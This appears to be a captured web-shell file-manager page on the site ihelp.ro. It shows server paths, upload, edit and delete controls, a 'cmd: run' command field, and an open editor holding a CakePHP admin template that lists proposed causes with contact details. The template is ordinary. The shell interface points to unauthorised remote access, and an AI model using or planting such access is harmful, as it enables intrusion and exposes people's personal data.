/
var
/
www
/
vhosts
/
ihelp.ro
/
httpdocs
/
templates
/
Admin
/
ProposedCauses
/
/var/www/vhosts/ihelp.ro/httpdocs/templates/Admin/ProposedCauses
mkdir
upload
Name
Size
Mode
Actions
index.php
4124
0644
edit
dl
rm
view.php
3224
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/httpdocs/templates/Admin/ProposedCauses/index.php
(4124B)
<!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-lg-12"> <h1> <?php echo __('Proposed causes'); ?> </h1> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <div class="col-lg-12"> <div class="card"> <!-- /.box-header --> <div class="card-body table-responsive p-0"> <table class="table table-hover text-nowrap"> <thead> <tr> <th><?php echo $this->Paginator->sort('id'); ?></th> <th><?php echo $this->Paginator->sort('cause_name'); ?></th> <th><?php echo $this->Paginator->sort('full_name'); ?></th> <th><?php echo $this->Paginator->sort('email'); ?></th> <th><?php echo $this->Paginator->sort('phone'); ?></th> <th><?php echo $this->Paginator->sort('is_contacted'); ?></th> <th><?php echo $this->Paginator->sort('created'); ?></th> <th class="actions"><?php echo __('Actions'); ?></th> </tr> </thead> <tbody> <?php foreach ($proposedCauses as $proposedCause) : ?> <tr> <td><?php echo $this->Number->format($proposedCause->id); ?></td> <td><?php echo h($proposedCause->cause_name); ?></td> <td><?php echo h($proposedCause->full_name); ?></td> <td><?php echo h($proposedCause->email) ?></td> <td><?php echo $this->FormatNumber->formatPhone($proposedCause->phone); ?></td> <td> <i class="fa <?php echo ($proposedCause->is_contacted) ? 'fa-check-circle text-success ' : 'fa-times-circle text-danger'; ?>"></i> </td> <td><?php echo h($proposedCause->created); ?></td> <td class="actions"> <?php echo $this->Html->link(__('View'), ['action' => 'view', $proposedCause->id], ['class' => 'btn btn-info btn-xs']); ?> <?php echo $this->Form->postLink(__('Delete'), ['action' => 'delete', $proposedCause->id], ['class' => 'btn btn-danger btn-xs'], ['confirm' => __('Are you sure you want to delete # {0}?', $proposedCause->cause_name)]); ?> <?php if ($proposedCause->is_contacted == false) : ?> <?php echo $this->Form->postLink(__('Change status'), ['action' => 'edit', $proposedCause->id], ['class' => 'btn btn-warning btn-xs'], ['confirm' => __('You are sure you have contacted the cause {0} ?', $proposedCause->cause_name)]); ?> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <!-- /.box-body --> </div> <!-- /.box --> </div> </div> <div class="row"> <div class="col-sm-12"> <?php echo $this->element('paginator'); ?> </div> </div> </div> </section>
Save
cmd:
run